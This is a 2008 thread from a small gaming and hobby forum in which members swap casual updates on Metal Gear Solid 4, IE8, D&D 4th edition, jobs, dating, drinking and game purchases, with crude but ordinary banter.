Also god yes, more zone of enders, hopefully with a new orbital frame, or maybe even multiple ones (unlocking and playing as bosses in duels in 1 was fun as hell).

Also also, speaking of metal gear, I just watched a friend play a little bit of it, and the opening movie is the biggest WTF moment I've ever seen in any game ever. It's a lady on a game show (with all live actors, and really fancy CGI around them) and she picks a category about private military something, and she's asked a question about which unit has a combined population of Canada, and Mexico. She gets the question wrong, it being the praying mantis unit, and then it shows snake entering a battle field.

Then it shows some Gekko units running around, and they are insane. Also he's hardly played, but he has several rifles, along with a silenced pistol and a tranq gun, and it seems you can use MGS3 style CQC, but you have the regular MGS health system, and the stamina bar under his health has something to do with his nano machines and using guns.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 13, 2008, 03:05:30 AM
everything in mgs4 has to do with nanomachines

how do you think vamp can survive headshots?  yep, nanomachines, ps he dies in mgs4 because the nanomachines were turned off or something.

size 1 font for something that wasn't much of a spoiler, with a spoiler tacked on because im a jackass.

also olol at spekturs pic
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 13, 2008, 08:44:24 PM
I'm in teh London right now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 13, 2008, 11:35:09 PM
wtfimg

I think your computer is a little confused.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 14, 2008, 12:14:02 AM
I signed up for the most extra shifts possible this week and next, and as a result my paycheck is going to be PHAT. like, $500 phat. kickass!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 14, 2008, 12:25:08 AM
I think your computer is a little confused.

Heh, I confirmed with my dad that it's an IE8 issue.  Windows Update works fine when you use IE7 emulation.  I'm sure that'll be fixed by the time it gets released.  At least Vista has a standalone Windows Update application.  My dad (who's running XP) has to keep activating IE7 emulation to update his system.

That said, IE8 is pretty badass.  It's nice to see that Microsoft is actually shooting for standards compliance now.  The rendering engine is capable of passing Acid2 now, they just need to set the browser so that you don't need to specifically tag web pages to disable the IE6/7 crappiness emulation engine.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 14, 2008, 12:27:05 AM
I'm in teh London right now.

Do dragons really exist there, is EVERY street made from coble stone?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 14, 2008, 01:43:22 AM
Do dragons really exist there, is EVERY street made from coble stone?

what a stupid question

of course there are dragons there, and EVERY street is pure colombian cobble stone
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 14, 2008, 02:12:53 AM
Well shit, I was looking for my Red Alert Yuris revenge CD, and I found C&C generals and the expansion for it. Pretty damn awesome, I think my friend game it to me because his PC couldn't run it, but I don't have the CD code.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 14, 2008, 05:46:33 AM
spec: maybe you should just use a browser with less suck.

also, i have a fearow pokemon card in my hand. this card is fucking bad ass. but it on the bench, smack on 4 energy cards, then you can do 40 damage every turn. however, with only 70 hp, it can only take so much. a great beginning match card, if you can get those 4 energy cards on fearow before your opponent can power their pokemon, the game is pretty much over.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 14, 2008, 05:54:38 AM
spec: maybe you should just use a browser with less suck.
That said, IE8 is pretty badass.  It's nice to see that Microsoft is actually shooting for standards compliance now.  The rendering engine is capable of passing Acid2 now

IE8 won't make me an IE convert (mainly since I'm all about Firefox), but it's far from terrible now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 14, 2008, 06:20:23 AM
terrible as in IE6? Or would IE6 be considered far worse than "terrible"?

Only website my IE6 has been to was mozilla.com to download firefox. =o I simply refuse to use IE6 for any reason. Its security holes are far too numerous as well as dangerous.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 14, 2008, 07:48:18 AM
If onbly computers came equipped with wget from the start :/ Then we could bypass even that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 15, 2008, 03:00:55 PM
I was hanging out with someone from my work and his girlfriend last night. His girlfriend is awesome. Really pretty, smart, artistic, funny, etc. etc. But he is a TOTAL DOUCHEBAG and it pisses me off to see her with him. She is way too fucking good for that idiot.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 15, 2008, 04:16:54 PM
terrible as in IE6? Or would IE6 be considered far worse than "terrible"?

I'd say worse than terrible simply for the lack of tabs.  IE7 is "terrible."

Like I said, IE8 is actually pretty good.  The rendering engine is very solid, probably as good as FF3's in full standards compliance mode.  As far as security is concerned, that hasn't been proven yet.

Only website my IE6 has been to was mozilla.com to download firefox. =o I simply refuse to use IE6 for any reason. Its security holes are far too numerous as well as dangerous.

The security holes have pretty much all been patched.  Microsoft is actually far better about patching security vulnerabilities than Mozilla is.

The main reason you get so many IE users with spyware and crap is because they press "ALLOW" for absolutely everything.  Considering spyware "vendors" are rolling out Java-powered installers nowadays, Safari, Opera, and Firefox are no more safe than IE is to an untrained luser.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on June 15, 2008, 05:30:43 PM
I'd say worse than terrible simply for the lack of tabs.  IE7 is "terrible."

Like I said, IE8 is actually pretty good.  The rendering engine is very solid, probably as good as FF3's in full standards compliance mode.  As far as security is concerned, that hasn't been proven yet.

The security holes have pretty much all been patched.  Microsoft is actually far better about patching security vulnerabilities than Mozilla is.

The main reason you get so many IE users with spyware and crap is because they press "ALLOW" for absolutely everything.  Considering spyware "vendors" are rolling out Java-powered installers nowadays, Safari, Opera, and Firefox are no more safe than IE is to an untrained luser.

OOOHH DISS
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 15, 2008, 07:00:36 PM
i just played in my first 4th edition game as a dwarven cleric. i rather liked it.

pretty fuck awesome having an "infinite" amount of damage "spells" i can cast, which also buff the party as well as do damage.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 16, 2008, 07:51:17 AM
Yeah, 4th edition seems really interesting. My friend Matt is VERY into D&D and from his descriptions of 4th edition, it has really balanced things out, and made it much more party oriented.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 16, 2008, 02:41:59 PM
Whew...who would have thought that quitting a job would be so tiring?

I ended up cleaning out the company car this morning, consolidating everything into fewer boxes, and hauling about 500 pounds of equipment into the back seat.  Not a bad workout, I say.

But anyway, now to celebrate.

I'M FREEEEEEEEEEEEEEEEEEEEEEE!!!!!!!!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on June 16, 2008, 02:57:40 PM
I'M FREEEEEEEEEEEEEEEEEEEEEEE!!!!!!!!

That's so inspirational. I've been contemplating a 'career' change for quite a bit...the life of an office 'beeotch' is not a glamorous one.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 16, 2008, 03:08:47 PM
;_;, what happened? I figured you'd be with them for a while.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 16, 2008, 03:29:26 PM
It just...sucks.  Long hours, lack of organization on the corporate level (I lived in Maryland for three months and they still shipped packages to my parents' house), completely unrelated to my field, etc etc etc etc.

I'm going to be swinging into an IT job soon after I get back to Ohio if all goes well.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 16, 2008, 03:57:56 PM
Well good luck with that, just remember our job economy is in some awesome shape.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 16, 2008, 05:42:53 PM
Well good luck with that, just remember our job economy is in some awesome shape.

Seconded in the name of incredible truths.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on June 16, 2008, 09:03:00 PM
Dexter is the best fucking show ever in the history of television. Fucking hell I just finished the second season and I've never been so satisfied by a show. The second season paled in comparison to the first but it was still fucking amazing.

I want to be Michael C. Hall.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 17, 2008, 12:56:08 AM
ok for the first time in a long time, i did stuff with friends from shortly after i woke up(little earlier than 2pm) to later in the night (bout 12:10am).

wake up
head to friends house
take off to the next town with said 4 friends
buy stuff in the "hall of heroes" (its an rpg shop)
eat
go back, do some dungeon crawling in our 4th edition game
after a big encounter, get food/eat s'more
go back to said dungeon and continue the game (the dungeon we are in is XBAWX HUEG)
finish off some battles, including an ooze solo monster, almost finish off the FIRST LEVEL of the dungeon, call it a day

so pretty much, about 7ish hours of playing in the one level of a dungeon, but its awesome, and 4th edition is awesome, and screw the haters.

level 3 dwarven cleric beeotch! 

and i can't possibly see how you can disslike fourth edition, it's just more fun to play, and they improve on a lot of things.

one thing i especially like

say you roll a 20 to crit, in 3.5 you would need to re-roll to "confirm" the critical, and then "roll" the damage, so IF you make the critical, you could still do less damage than a standard attack.

in fourth edition, when you roll a 20, you hit, and you do max damage, and its awesome.

plus the dragonborn could make for some pretty good scalie pronz, the artwork in the players handbook is frekaan awesome.  not to mention the players handbook is COLORFUL, and the artwork is better because of this.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 17, 2008, 01:13:23 AM
Well good luck with that, just remember our job economy is in some awesome shape.

Oh yes, I know.  It doesn't help that most employers laugh at ITT degrees.  On the bright side, this guy seemed pretty psyched about me working for him, so things should be good.

I'll also have a lot of time to work on Obsidian (my customatic Linux distro) this week.  I could probably hammer in a quick package manager if I keep working at it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 17, 2008, 05:54:11 AM
Remember the girl I mentioned earlier who was with a total idiot that didn't deserve her? Well, I think I helped convince her to break up with him for me :D And she's coming over today!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 17, 2008, 05:55:56 AM
SCORE.

Nice one, sq3r. :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 17, 2008, 05:57:39 AM
YEAH
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 17, 2008, 06:04:55 AM
Wow. Nicely done.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 17, 2008, 10:20:35 AM
I learned a few things today:

1) It's a 30 minute walk from my apartment to the nearest plaza.
2) My cell phone's stereo headset yields amazing audio clarity and it was a free accessory with the phone.
3) Playing MP3s for an hour rapes my cell phone's battery (down to 1/3 bars).  Yikes.

But anyways, 3 mile walk == I feel great. :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 17, 2008, 10:35:50 AM
Dexter is the best fucking show ever in the history of television. Fucking hell I just finished the second season and I've never been so satisfied by a show. The second season paled in comparison to the first but it was still fucking amazing.

I want to be Michael C. Hall.

Are you talking about Dexter's Laboratory? That show wasn't really that great, rofl.

Also, way to go sq3r! Sounds like you've discovered an infinite amount of incredible truths.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 17, 2008, 10:44:04 AM
Are you talking about Dexter's Laboratory?

No, Dexter (http://en.wikipedia.org/wiki/Dexter_%28TV_show%29). Great show.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on June 17, 2008, 01:00:06 PM
I learned a few things today:

1) It's a 30 minute walk from my apartment to the nearest plaza.
2) My cell phone's stereo headset yields amazing audio clarity and it was a free accessory with the phone.
3) Playing MP3s for an hour rapes my cell phone's battery (down to 1/3 bars).  Yikes.

But anyways, 3 mile walk == I feel great. :D

do that a few times a week and watch the fat fall off.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 17, 2008, 01:06:34 PM
Not all that much. I used to do 3 or 4 mile walks fairly consistently for a while. I'd walk home from school on the other side of town (takes me something like 30 minutes if I'm going as fast as I can, and it's not too hot out, average between 40 and 45 minutes) and I'd walk nearly every day Monday to Friday. I didn't lose any weight.

Actually, I've only lost weight one way: when my depression lifted in grade 10, or so, shortly after I met my girlfriend, I lost about 30 lbs, dropping from 160 to 130. Now I average about 135 to 145.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 17, 2008, 01:20:15 PM
How much weight you lose really depends on your diet, too. If you consume more calories than you're burning then you probably won't lose weight :|

But that's interesting how you lost all that weight after the depression lifted. I usually hear about people losing weight because they're depressed.

Also, that awesome girl gets here in about an hour :D :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 17, 2008, 02:21:20 PM
Heh, nice.

Well, when you're depressed, your metabolism generally slows down, I believe. Also, those people probably aren't eating as much as they would when they were happy. However, I think it's kinda weird, when I lose the weight, I was eating a large poutine most days of the week, which is FULL of fat (about 3x your daily recommended intake), and has some ridiculous amount of calories in it. I kept eating those at the exact same pace over the few months that I lost the weight in.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 17, 2008, 04:33:29 PM
do that a few times a week and watch the fat fall off.

Does it literally fall off?  Because that would be kinda freaky and I'd probably wet myself.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 17, 2008, 06:56:13 PM
there is a huge spider crawling around the ceiling/wall of the stairs i use to get to my room.

wtb HAAALP  (i are arachnaphobe)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on June 17, 2008, 09:42:58 PM
I work out enough that I can eat whatever I want. For the last 5 months or so I've been slowly losing weight. I was about 180 5'10 at the beginning of the year and I'm about 158 5'11 now. Water polo and Brazilian jujitsu FTW.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 17, 2008, 11:02:39 PM
I'm back home. Europe was AWESOME.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 17, 2008, 11:54:38 PM
I really hope that was a joke.

No, it wasn't >_> I'm not very well-versed in television shows. I rarely watch anything, unless it's a cartoon or Monk with my girlfriend or the weather/news.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 18, 2008, 09:11:23 AM
And I thought I was bad, since I don't have a working Satellite Receiver in the basement, because the upstairs one got fried and my parents took ours.
Now I'm lucky if I manage to watch 1 hour of TV in a week.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 18, 2008, 10:56:50 AM
Wow, fuck DV tapes, fuck FireWire.  Turns out, my camcorder works just as nicely dumping MPEG4 videos out onto a memory stick.  It saves me a ton of time because I don't have to capture the video off the tape (in real time, might I add) and it's already in a computer-usable format, encoded at very high quality (5 mbps, even).  Best of all, it's new enough to work with Memory Stick Pro sticks, so -- assuming there aren't any software limitations with the device -- I can just stick my 2GB or 4GB MSPro Duo sticks into an adapter and jam it into the camera and I could very well end up being able to capture more video than I could to a tape.

Oh, not to mention that since the camera doesn't have to work the tape motors, it'll save a considerable amount of battery power (which is a GoodThing(TM) since the battery on that thing is practically shot).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on June 18, 2008, 12:19:02 PM
I just graduated from 8th grade.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 18, 2008, 02:19:52 PM
i swear, i assumed a good chunk of people here were at least 3-4 years older than i assumed.

PANCAKE
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on June 18, 2008, 02:49:31 PM
I just graduated from 8th grade.

rofl
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 18, 2008, 02:53:20 PM
I did that 5 years ago lolololol
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 18, 2008, 04:20:34 PM
i did that uhh, 7 years ago? lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on June 18, 2008, 04:29:21 PM
2 years ago, bustas <:(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 18, 2008, 06:04:04 PM
6 years here, also now we are aware of how old we are. Also my dog is probably going to die, which is fun.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 18, 2008, 07:13:46 PM
I graduated from 8th grade ten years ago.

Fuck, I'm old. D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on June 18, 2008, 07:21:23 PM
I graduated from 8th grade ten years ago.

Fuck, I'm old. D:


It's okay, I'll help you cross the street.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 18, 2008, 10:17:41 PM
YOU'RE SUCH A NICE YOUNG LADY! :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 18, 2008, 10:29:06 PM


candy galy [a]

its like, awesomley fun, till 1:19, then its "OMFG AHHHHH NOOO NONONONO NONON O NON ONNN  PLEASE STOP PLEASE NO MORE RAPE MY ASSSS NOOOONONONONONO"


also, spectere, hows the old folks home treating you?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on June 18, 2008, 10:43:05 PM


candy galy [a]

its like, awesomley fun, till 1:19, then its "OMFG AHHHHH NOOO NONONONO NONON O NON ONNN  PLEASE STOP PLEASE NO MORE RAPE MY ASSSS NOOOONONONONONO"


also, spectere, hows the old folks home treating you?

om nom nom

Also I tried playing IIDX twice this week and for some reason I went from pretty good to bad in about 5 days time. Like, 100-200 DJ points worse on every song I played bad. I don't know what happened.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 18, 2008, 10:45:04 PM
at least your scores aren't random all the time like mine are ;o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 18, 2008, 11:53:28 PM
That girl from before (let's call her Megan... cause that's her name) is currently breaking up with her boyfriend. I've never had someone break up with their boyfriend to be with me. It's awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 18, 2008, 11:55:22 PM
i can't see how it is awesome.  i mean, if she broke up with some other joe to be with you, what makes you think she won't break up with you for another dude?

thats just my perspective on the matter.

whatever you think, just keep that in mind.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 19, 2008, 12:08:14 AM
Because the guy she was with is a total fucking loser who treats her like shit, and I know she won't leave me for someone else because I'm a really good guy. If I had any doubts about her loyalty to me in the future, I wouldn't want to be with her. I'm looking for a serious relationship right now. I see where you're coming from though, and it definitely crossed my mind, but I trust her.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 19, 2008, 12:32:00 AM
I see where you're coming from though, and it definitely crossed my mind, but I trust her.

wellp, at least you are aware.  anyway, best of luck to you.

on a different note, i should get a thong.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 19, 2008, 02:45:00 AM
Woo, took apart and cleaned my PSP today.  The display is a bit less speckled (though it looks like there's still a speck of dust between the backlight and the LCD...HOW THE HELL DID THAT EVEN GET THERE?!?!  It doesn't look like a dead pixel because it changes depending on the angle you look at it...) and there is no longer any crud on the shoulder buttons.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on June 19, 2008, 02:57:50 AM
wellp, at least you are aware.  anyway, best of luck to you.

on a different note, i should get a thong.

 :o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 19, 2008, 03:06:35 AM
they are rather comfy, but when i tried mine, it was basically "hey, let me try that on" years ago when i was with this one chick.  and well, girl thongs leave no room for the junk(DURR), and this creates problems.  so i figure one made with the male anatomy in mind would be a bit more comfy.

anyway, i should totally turn into a chipndales dancer when i decide to purchase one.  i mean, with my pale skinny white body, the girls would never leave!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 19, 2008, 03:13:36 AM
So I just got a few numbers of a few friends I haven't hanged with in a while, which should be fun. Also I just came back from a party, in which my one friend (who already has a girlfriend) was making out with a rather questionable female.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 19, 2008, 03:28:51 AM
So, you just came...

And, there was a questionable female.

Also, thongs are rather comfy, but like vlad said, no room. however, boxer lines are hardly ever a problem, so I see regular-ass boxers as being more advantageous. also, boxer briefs. Boxer briefs offer the support of briefs, without the OH GOD MY JUNK IS BEING CRUSHED feeling. The leggings help a lot in this. Anyway, yeah.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 19, 2008, 03:34:38 AM
So, you just came...

And, there was a questionable female.

Yes exactly, and I got a decent buzz without getting too drunk/doing something embarrassing. Also I got commented on taking getting sick from drinking easily, which is rather odd.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 19, 2008, 03:37:41 AM
Ah, it's good to know you just came. Feel relieved?

And do you normally get sick when you drink? Depending on the alcohol (ugh vodka) it'll really jack up my stomach. Almost like I drank really sour milk. ;[

also, oops alcohol/drugs thread.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 19, 2008, 06:28:55 AM
Also, thongs are rather comfy, but like vlad said, no room. however, boxer lines are hardly ever a problem, so I see regular-ass boxers as being more advantageous. also, boxer briefs. Boxer briefs offer the support of briefs, without the OH GOD MY JUNK IS BEING CRUSHED feeling. The leggings help a lot in this. Anyway, yeah.

Spectere approves of boxer briefs.

And do you normally get sick when you drink? Depending on the alcohol (ugh vodka) it'll really jack up my stomach.

Eat and drink a glass of milk before drinking (my mom's suggestion), then drink water when you're done (Sharde's suggestion).

I drank a lot during the new year's celebration and I suffered no ill effects.  In contrast, I forewent the milk and water during my cousin's (lol armegeddon) 21st birthday party, didn't drink nearly as much, and woke up with a mild hangover.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 19, 2008, 06:34:17 AM
I've never woken up with a hangover. I have however, woken up still buzzed. Oh, and I can't forget the several times I've woken up and burped up alcohol fumes. mmmmmmm delish. I like that milk and food idea. I'll need to try it.

And yeah, boxer briefs are pretty much amazing.

/b/ is dying. moot's going apeshit. oh mai gawd.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 19, 2008, 12:43:44 PM
I've never worn boxer briefs before. Just boxers, and briefs, but mainly boxers.

I should be starting my online Health class right now, but I'm not. I'm really cool.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 19, 2008, 04:14:59 PM
And do you normally get sick when you drink? Depending on the alcohol (ugh vodka) it'll really jack up my stomach. Almost like I drank really sour milk. ;[

Not usually no, also yes, water will work. A bottle of water and a advil usually help me whenever I have a hangover.

Also as soon as my friend got in the car (took 30 minuets, which was annoying) he said "wait, was that chick ugly?".

Oh yeah, and then someone maced themselves in the face, it was a rather eventful night.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 19, 2008, 08:35:12 PM
y'know, i think i may start to be getting lactose intolerant.  the past few days, ive lived off ham and cheese, and milk, and every morning, i awake with a stomach ache and a not so fun trip to the bathroom.

to test this theory, i ate an entire ceasars hot and ready pizza, and i will drink an entire carton of milk today.  if im fine tomorrow (or later today for that matter) i have nothing to worry about.

also, on the topic of underwear, boxers are king, save when you are doing athletic stuff in them, then they like to move around and get uncomfortable.

i still need a thong though.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 19, 2008, 08:47:07 PM
Yeah, I'm a boxers guy. I hate not giving my boys the freedom they deserve as it is, lol. I'd be happy if the world just went naked (caveat: no ugly people :/)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 19, 2008, 09:48:37 PM
I recently discovered boxer briefs. I can't STAND the feeling of just briefs, so the feeling of boxers with support of briefs = win. Usually at work I'll wear either boxers or bb, depends on a) whats clean and b) what I feel like.

Also

I don't really get sick after drinking, unless, you know, I drink too much haha :D but that happens to everyone anyway. No stomach ache, no nothin, as long as I just get buzzed or a tad over the line drunk.

Tip: Throw up, it makes everything better
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 19, 2008, 10:00:26 PM
Uhh, I couldn't imagine only getting slightly drink all my life. There's a difference between drunk, and drinking too much.

for me, there's something like this:
1-3 beers: Basically feeling nothing, unless I haven't eaten all day.
3-5 beers: definitely feeling something, either slightly buzzed, or heavily buzzed, depending on whether I ate a lot, or not much, and how fast I drank them.
5-10 or so: Drunk, by 10 I'd probably be bordering on having drank too much.

This is not completely accurate, because the only time I got to 8 beers, I'd been eating while drunk, and then I ate a bunch of hot peppers, which really upset my stomach, and I also had nothing to eat for quite some time before we started, and we were drinking quite quickly.

Recently, we've been ordering pizza a lot when we drink, and I usually fill up on pizza, which means I drink about 5-6 beers, and I'm full, but because of how much I ate, I'm still only buzzed.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 19, 2008, 10:08:17 PM
typical vladgd response GO!  almost certainly followed by typical bobbias response.

http://www.spectere.net/smf/index.php?topic=205.405
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 19, 2008, 10:25:25 PM
Oh, both of you go somewhere. <_<

The drugs thread practically turned into the "illicit drugs thread" anyway.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 19, 2008, 10:30:39 PM
DANCE PUPPETS DANCE.

Also I originally intended on only talking about the oddities of my night, not the alcohol part. If my focus was on alcohol, I would have placed said post in the right topic.

Also back on topic. I'm fucking bored, and I want to buy a new video game, but I'm not sure which one. Possibly Red star, Pikmin 2, or one of the ace combat games on PS2. HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 19, 2008, 10:46:36 PM
Oh, both of you go somewhere. <_<

ohh you (bob, you rage easily, CHILL PILL)

and mortified, pikmin 2 is aight.  if you liked the first pikmin, and want the 30 day time limit to not exist, you can't go wrong.

also, new av

id have cropped out the bottom a bit more, but then the face would be off center, and im not going to have a rectangle av.  a less obvious, but still decent crop job.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 20, 2008, 12:04:26 AM
I've played pikmin 2 and 1 before, and I must say no timer is much better then any timer.

Also according to spoony I really shouldn't see Indiana Jones, the crystal skull.

Also temple of doom was good.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on June 20, 2008, 12:48:31 AM
Also temple of doom was good.

except for the annoying blonde bitch

who was incredibly annoying

and the stereotypical asian kid

who had some sort of speech impediment, and said the most stereotypical asian kid things ever, like VELY FUNY, IT SOUND LIKE I STEPPING ON BIG FORTUNE COOKIES, etc

the music was cool (except for the stereotypical asian kid's theme ughhhguhfu that shit hurt), and the pulling out the heart effect was done pretty well

and there was a kickass mine cart chase that spawned all sorts of that kind of awesome shit in the Donkey Kong Country series, undoubtedly

yeah, i guess it was okay :-)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 20, 2008, 02:58:22 AM
Not liking short round is a crime. DOCTER JONES, DOCTER JONES.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 20, 2008, 07:12:56 AM
I hereby declare sunflower seeds to be awesome. Also:

http://www.spectere.net/smf/index.php?topic=590.msg15977
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 20, 2008, 08:25:49 AM
What the hell.

I'm not going to run the site based on what you two want me to do. <_<  You're both trying to act like mods here.

Just give it a rest.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 20, 2008, 09:42:40 AM
Alright, Deleting all my involved posts.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 20, 2008, 10:01:36 AM
Getting it out of this thread isn't going to do anything more than make it more visible.  Plus, I don't delete posts.  Ever.*

Even when you guys delete your own posts they don't go away -- there's a hidden garbage bin forum that they all get stuffed in (that I never read, FYI), should anyone ever realize that you made a boo-boo with a delete.

Long story short: you guys work it out amongst yourselves and that'll be that.  You two are mature enough to work it out yourselves (as evidenced by the fact that you're already PM'ing each other over it) so I don't feel like I should need to get involved whatsoever.

*With the exception of dupes and "DELETE ME" edits, of course, and the occasional request.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 20, 2008, 02:23:05 PM
so i sleep in and this is what i miss, kay.

anyway, dwarf fortress is complicating, and i am rather INTIMIDATED into even starting a town. 

but as the wiki says "losing is fun!" so i guess i know what i gotta do.

till i get around to that, delicious faygo orange.

*edit*

(http://img385.imageshack.us/img385/2255/warhammeronlineageofrecxe8.jpg)

awesome class design is awesome

*edit*

sweet jesus, im finally level 41

http://www.urbandead.com/profile.cgi?id=548888

*edit*



only watched the first half of this game (it is LOOONGGG) and its already the best starcraft game i have ever seen

DEVOURERS, plague, scourges, ENSNARE, disruption web, carriers, MAELSTORM, PROTOSS MIND CONTROLING A DRONE AND MAKING A HATCHERY IN A PROFESSIONAL GAME ohh my

actually, its an hour and 24 minutes long.  if you like starcraft, and have 90 minutes of free time, WATCH THIS GAME.  this is the best game of starcraft played this year, if not, the past few years. ever.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on June 20, 2008, 06:22:55 PM
Also back on topic. I'm fucking bored, and I want to buy a new video game, but I'm not sure which one. Possibly Red star, Pikmin 2, or one of the ace combat games on PS2. HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM

Red Star is an excellent game that is cheap and is quite difficult. It's a beat'em up with upgradeable characters mixed with bullet hell minibosses and even a Gradius stage or two. I was very happy to spend $15 on it.

I tried Metal Gear Solid 4 on wednesday. I really wasn't impressed. It's Metal Gear and not really some massive leap forward for all mankind or whatever like all of these reviews and people have said. It's fun but Jesus I wouldn't give it above an 8. It also has the dumbest install EVER. It installs each ACT so when you finish one, whoops, another 5 minute install. Have a friend who lives with you and wants to start a new game? Whoops, have to reinstall act 1. Want to go back to your game after that? Whoops, have to reinstall the act you were on. Yeah, it sure is quicker to do that than switch out a disc huh. If the game also didn't have so much Sony/Apple fangay product placement all over it and bluray masturbation, I know for a fact it would've fit on 360 just by making it 2 dual-layered DVD's and actually compressing stuff.

I got Ninja Gaiden 2 from Gamefly and I'm not really impressed with that either. The only reason the game's hard is because enemies swarm you and you can't even see them half the time and they throw shuriken from off-screen constantly.

